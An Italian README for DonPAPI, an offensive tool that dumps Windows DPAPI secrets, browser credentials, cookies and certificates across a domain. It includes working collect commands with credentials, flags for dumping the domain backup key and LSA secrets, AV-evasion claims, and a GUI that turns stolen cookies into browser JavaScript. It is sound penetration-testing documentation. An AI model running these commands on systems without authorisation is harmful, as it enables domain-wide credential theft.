
Dumper automatico remoto di credenziali per ambienti Windows, che estrae segreti DPAPI, credenziali del browser, certificati e file di configurazione con elusione della difesa integrata e un visualizzatore di bottino basato sul web.
DonPAPI automatizza il dump remoto di segreti su più computer Windows, con attenzione all'evasione della difesa.

Credenziali raccolte:
Abbiamo tenuto un talk in francese su DPAPI intitolato DPAPI - Don't Put Administration Passwords In 🇫🇷:
Questo strumento dovrebbe essere installato con pipx o in un ambiente virtuale dedicato
pipx install donpapi
oppure (con gli ultimi commit)
pipx install git+https://github.com/login-securite/DonPAPI.git
oppure (per sviluppare)
git clone git+https://github.com/login-securite/DonPAPI.git
cd DonPAPI
poetry update
poetry run DonPAPI
pipx install donpapi
donpapi collect -u admin -p 'Password123!' -d domain.local -t ALL --fetch-pvk
donpapi gui
usage: DonPAPI [-h] [-v] [-o DIRNAME] {collect,gui} ...
Dump revelant information on compromised targets without AV detection. Version: 2.0.0
positional arguments:
{collect,gui} DonPAPI Action
collect Dump secrets on a target list
gui Spawn a Flask webserver to crawl DonPAPI database
options:
-h, --help show this help message and exit
-v Verbosity level (-v or -vv)
-o DIRNAME, --output-directory DIRNAME
Output directory. Default is ~/.donpapi/loot/
Questa azione viene utilizzata per raccogliere segreti sui target specificati con -t.
usage: dpp collect [-h] [--keep-collecting seconds] [--threads Number of threads] [--no-config] [-t TARGET [TARGET ...]] [-d domain.local]
[-u username] [-p password] [-H LMHASH:NTHASH] [--no-pass] [-k] [--aesKey hex key] [--laps Administrator] [--dc-ip IP address]
[-r /home/user/.donpapi/recover/recover_1718281433] [-c COLLECTORS] [-nr] [--fetch-pvk] [--pvkfile PVKFILE]
[--pwdfile PWDFILE] [--ntfile NTFILE] [--mkfile MKFILE]
options:
-h, --help show this help message and exit
--keep-collecting seconds
Rerun the attack against all targets after X seconds, X being the value
--threads Number of threads
Number of threads (default: 50)
--no-config Do not load donpapi config file (~/.donpapi/donpapi.conf)
authentication:
-t TARGET [TARGET ...], --target TARGET [TARGET ...]
the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, ALL to fetch every
computer hostnames from LDAP
-d domain.local, --domain domain.local
Domain
-u username, --username username
Username
-p password, --password password
Password
-H LMHASH:NTHASH, --hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
--no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid
credentials cannot be found, it will use the ones specified in the command line
--aesKey hex key AES key to use for Kerberos Authentication (1128 or 256 bits)
--laps Administrator use LAPS to request local admin password. The laps parameter value is the local admin account use to connect
--dc-ip IP address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-r /home/user/.donpapi/recover/recover_1718281433, --recover-file /home/user/.donpapi/recover/recover_1718281433
The recover file path. If used, the other parameters will be ignored
attacks:
-c COLLECTORS, --collectors COLLECTORS
Chromium, Certificates, CredMan, Files, Firefox, MobaXterm, MRemoteNG, RDCMan, SCCM, Vaults, VNC, Wifi, All (all
previous) (default: All)
-nr, --no-remoteops Disable Remote Ops operations (basically no Remote Registry operations, no DPAPI System Credentials)
--fetch-pvk Will automatically use domain backup key from database, and if not already dumped, will dump it on a domain controller
--pvkfile PVKFILE Pvk file with domain backup key
--pwdfile PWDFILE File containing username:password that will be used eventually to decrypt masterkeys
--ntfile NTFILE File containing username:nthash that will be used eventually to decrypt masterkeys
--mkfile MKFILE File containing {GUID}:SHA1 masterkeys mappings
L'autenticazione funziona specificando un dominio con --domain, un nome utente con --username, e eventualmente una password con --password, un hash con --hashes, una chiave AES con --aesKey o un ticket Kerberos in formato ccache con -k (stile Impacket).
Puoi anche autenticarti tramite LAPS sul computer con --laps e il nome utente dell'account LAPS locale come valore per questo parametro.
Per impostazione predefinita, DonPAPI raccoglierà:
Puoi specificare ciascuno di quelli che vuoi raccogliere con --collectors (stile SharpHound). Se usi --fetch-pvk, DonPAPI recupererà automaticamente la Chiave di Backup del Dominio del dominio AD e la userà per decifrare le masterkey. Altrimenti, puoi fornirne una con --pvkfile. --pwdfile, --ntfile sono usati per fornire a DonPAPI segreti per sbloccare le masterkey. Ma se hai masterkey appena decifrate, puoi usare --mkfile.
[!WARNING] Alcuni metodi di raccolta richiederanno di estrarre i segreti LSA (per ottenere la chiave macchina DPAPI). Questa azione può essere rumorosa, e gli EDR moderni ti bloccheranno istantaneamente. Puoi usare
-nrper evitare di fare queste azioni rumorose, ma alcuni segreti non verranno raccolti.
DonPAPI supporta ora un file di configurazione per pimpare il comportamento di Secretsdump. Questo file si troverà in ~/.donpapi/donpapi.conf, e per impostazione predefinita apparirà così:
[secretsdump]
share = C$
remote_filepath = \Users\Default\AppData\Local\Temp
filename_regex = \d{4}-\d{4}-\d{4}-[0-9]{4}
file_extension = .log
DonPAPI supporta il file di recupero. Ogni volta che eseguirai un comando collect, verrà salvato un file di recupero dei target rimanenti e di tutte le opzioni. Per impostazione predefinita, il file si trova nella cartella ~/.donpapi/register/
A volte in una valutazione interna, vuoi insistere su alcuni target specifici e raccogliere segreti sui loro computer ancora e ancora. Non fare uno stupido ciclo bash, usa semplicemente --keep-collecting X, dove X sono i secondi che vuoi attendere tra ogni sessione di raccolta.
Ora che hai raccolto tutti quei segreti, vuoi esplorarli. DonPAPI ti permette di navigare tra tutti i segreti raccolti con una GUI web. Per avviarla, usa donpapi gui.
usage: DonPAPI gui [-h] [--bind BIND] [--port PORT] [--ssl] [--basic-auth user:password]
options:
-h, --help show this help message and exit
--bind BIND HTTP Server bind address (default=127.0.0.1)
--port PORT HTTP Server port (default=8088)
--ssl Use an encrypted connection
--basic-auth user:password
Set up a basic auth
Generale
Questa schermata mostrerà tutte le password SAM riutilizzate su tutti i computer raccolti, le attività pianificate estratte e le password degli account di servizio estratte da LSA. Puoi esportare tutto in formato CSV.
Segreti
Questa schermata mostrerà tutti i segreti saccheggiati con DonPAPI. Puoi cercare su più elementi ed esportare i segreti in CSV.
Cookie
Questa schermata mostrerà tutti i cookie saccheggiati con DonPAPI. Puoi cercare su più elementi ed esportare i cookie in CSV, ma anche copiarli e incollarli in codice JavaScript da incollare nel tuo browser.
Certificati
Questa schermata mostrerà tutti i certificati saccheggiati con DonPAPI. Puoi cercare su più elementi ed esportare i certificati in CSV, ma anche se un certificato consente l'autenticazione client, cliccando su Sì verrà copiato un comando Certipy per utilizzare il certificato.
Questo strumento è destinato solo a scopi educativi e di hacking etico. Login Sécurité non è responsabile per gli abusi commessi con questo strumento.
Il frontend GUI è sviluppato in Vue3 + Vite.js, e il backend è Python Flask.
Per impostazione predefinita, sarà esposto su http://127.0.0.1:8088, ma puoi esporlo come preferisci, anche su https://0.0.0.0:443.
[!WARNING] Per favore, non esporre mai DonPAPI a un'intera rete in questo modo, può essere molto pericoloso. DonPAPI supporta HTTPS con
--ssle puoi aggiungere un Basic Auth con--basic-auth. E inoltre, per favore, non esporre mai DonPAPI su Internet in questo modo.
Cliccando su un valore nelle tabelle, verrà immediatamente copiato negli appunti.
Una casella di controllo Hide Password è disponibile nella GUI per nascondere i dati sensibili nell'interfaccia, perfetta per screenshot.
Tutti i crediti vanno a questi grandi ragazzi per aver fatto la difficile ricerca e codifica: